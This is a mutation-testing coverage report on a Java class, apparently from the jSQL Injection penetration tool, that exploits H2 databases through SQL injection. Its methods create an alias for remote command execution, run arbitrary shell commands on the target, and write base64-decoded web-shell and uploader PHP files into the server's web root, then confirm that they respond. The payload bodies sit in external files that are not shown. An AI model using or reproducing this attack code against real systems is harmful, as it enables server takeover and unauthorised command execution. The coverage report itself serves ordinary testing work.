ExploitH2.java

1
package com.jsql.model.accessible.vendor;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ResourceAccess;
6
import com.jsql.model.accessible.vendor.h2.ModelYamlH2;
7
import com.jsql.model.bean.util.Interaction;
8
import com.jsql.model.bean.util.Request;
9
import com.jsql.model.exception.JSqlException;
10
import com.jsql.model.exception.JSqlRuntimeException;
11
import com.jsql.util.LogLevelUtil;
12
import com.jsql.util.StringUtil;
13
import org.apache.commons.lang3.RandomStringUtils;
14
import org.apache.commons.lang3.StringUtils;
15
import org.apache.logging.log4j.LogManager;
16
import org.apache.logging.log4j.Logger;
17
import org.yaml.snakeyaml.Yaml;
18
19
import java.io.File;
20
import java.io.FileInputStream;
21
import java.io.IOException;
22
import java.io.InputStream;
23
import java.net.http.HttpResponse;
24
import java.util.UUID;
25
import java.util.function.BinaryOperator;
26
27
public class ExploitH2 {
28
29
    /**
30
     * Log4j logger sent to view.
31
     */
32
    private static final Logger LOGGER = LogManager.getRootLogger();
33
    private final InjectionModel injectionModel;
34
    private final ModelYamlH2 modelYaml;
35
36
    public ExploitH2(InjectionModel injectionModel) {
37
        this.injectionModel = injectionModel;
38
        var yaml = new Yaml();
39
        this.modelYaml = yaml.loadAs(
40
            injectionModel.getMediatorVendor().getH2().instance().getModelYaml().getResource().getExploit(),
41
            ModelYamlH2.class
42
        );
43
    }
44
45
    public void createUdf() throws JSqlException {
46
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
47
48
        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
49
        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
50
        var result = this.injectionModel.getResourceAccess().getResult(String.format(
51
            this.modelYaml.getRce().getRunCmd(),
52
            ResourceAccess.WEB_CONFIRM_CMD +"%20"
53
        ), ResourceAccess.RUN_FUNC);
54 1 1. createUdf : negated conditional → NO_COVERAGE
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
55
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
56
            var request = new Request();
57 1 1. createUdf : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_H2);
58 1 1. createUdf : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(null, null);
59 1 1. createUdf : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
60
        }
61
    }
62
63
    public String runRce(String command, UUID uuidShell) {
64
        String result;
65
        try {
66
            result = this.injectionModel.getResourceAccess().getResult(String.format(
67
                this.modelYaml.getRce().getRunCmd(),
68
                command.replace(StringUtils.SPACE, "%20")
69
            ), ResourceAccess.RUN_FUNC);
70
        } catch (JSqlException e) {
71
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
72
        }
73
        var request = new Request();
74 1 1. runRce : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
75 1 1. runRce : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
76 1 1. runRce : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(request);
77 1 1. runRce : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::runRce → NO_COVERAGE
        return result;
78
    }
79
80
    public String createWeb(String pathExploit, String urlExploit) {
81
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
82
83
        String bodyExploit = StringUtil.base64Decode(
84
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
85
            )
86
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
87
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
88
89
        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
90
        this.injectionModel.injectWithoutIndex(String.format(
91
            this.modelYaml.getRce().getCreateTable(),
92
            nameTable,
93
            nameTable, bodyExploit.replace("'", "\"")
94
        ), ResourceAccess.TBL_CREATE);
95
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
96
        this.injectionModel.injectWithoutIndex(String.format(
97
            this.modelYaml.getRce().getScriptSimple(),
98
            pathExploit + nameExploit,
99
            nameTable
100
        ), ResourceAccess.TBL_DUMP);
101
102
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103
            String result = this.injectionModel.getResourceAccess().callCommand(
104
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
105
            );
106 1 1. lambda$createWeb$0 : negated conditional → NO_COVERAGE
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
107
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
108
                return StringUtils.EMPTY;
109
            }
110
            var request = new Request();
111 1 1. lambda$createWeb$0 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
112 1 1. lambda$createWeb$0 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE
            request.setParameters(urlSuccess);
113 1 1. lambda$createWeb$0 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(request);
114 1 1. lambda$createWeb$0 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::lambda$createWeb$0 → NO_COVERAGE
            return urlSuccess;
115
        };
116
117 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::createWeb → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
118
    }
119
120
    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
121
        String bodyExploit = StringUtil.base64Decode(
122
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
123
            )
124
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
125
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
126
127
        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
128
        this.injectionModel.injectWithoutIndex(String.format(
129
            this.modelYaml.getRce().getCreateTable(),
130
            nameTable,
131
            nameTable, bodyExploit.replace("'", "\"")
132
        ), ResourceAccess.TBL_CREATE);
133
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
134
        this.injectionModel.injectWithoutIndex(String.format(
135
            this.modelYaml.getRce().getScriptSimple(),
136
            pathExploit + nameExploit,
137
            nameTable
138
        ), ResourceAccess.TBL_DUMP);
139
140
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
141
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
142
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
143 1 1. lambda$createUpload$1 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
144
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
145
                } else {
146
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
147
                }
148
            } catch (InterruptedException e) {
149
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
150 1 1. lambda$createUpload$1 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
151
            } catch (IOException | JSqlException e) {
152
                throw new JSqlRuntimeException(e);
153
            }
154 1 1. lambda$createUpload$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::lambda$createUpload$1 → NO_COVERAGE
            return urlSuccess;
155
        };
156
157
        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
158
    }
159
160
    public ModelYamlH2 getModelYaml() {
161 1 1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitH2::getModelYaml → NO_COVERAGE
        return this.modelYaml;
162
    }
163
}

Mutations

54

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

57

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

58

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

59

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

74

1.1
Location : runRce
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

75

1.1
Location : runRce
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

76

1.1
Location : runRce
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

77

1.1
Location : runRce
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::runRce → NO_COVERAGE

106

1.1
Location : lambda$createWeb$0
Killed by : none
negated conditional → NO_COVERAGE

111

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

112

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

113

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

114

1.1
Location : lambda$createWeb$0
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::lambda$createWeb$0 → NO_COVERAGE

117

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::createWeb → NO_COVERAGE

143

1.1
Location : lambda$createUpload$1
Killed by : none
negated conditional → NO_COVERAGE

150

1.1
Location : lambda$createUpload$1
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

154

1.1
Location : lambda$createUpload$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitH2::lambda$createUpload$1 → NO_COVERAGE

161

1.1
Location : getModelYaml
Killed by : none
replaced return value with null for com/jsql/model/accessible/vendor/ExploitH2::getModelYaml → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.19.1